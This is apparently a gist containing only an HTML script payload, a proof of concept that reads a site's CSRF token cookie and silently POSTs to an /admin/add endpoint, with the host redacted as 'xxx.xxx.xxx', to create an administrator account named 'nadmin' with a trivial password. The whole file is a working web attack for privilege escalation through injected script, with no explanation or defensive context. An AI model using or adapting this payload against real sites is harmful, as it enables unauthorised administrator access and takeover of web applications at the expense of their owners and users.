gistfile1.html

<script>
	function getCookie(name) {
		const value = `; ${document.cookie}`;
		const parts = value.split(`; ${name}=`);
		if (parts.length === 2) return parts.pop().split(';').shift();
	}
	var cname = getCookie('csrf');
	var http = new XMLHttpRequest();
	var url = 'https://xxx.xxx.xxx/admin/add';
	var params = 'uId=&csrf='+cname+'&user=nadmin&email=a%40a.a&pass=a&phone=9999999999&role=1&submit=';
	http.open('POST', url, true);
	http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	http.onreadystatechange = function() {
		if(http.readyState == 4 && http.status == 200) {
		console.log(http.responseText);
		}
	}
	http.send(params);
</script>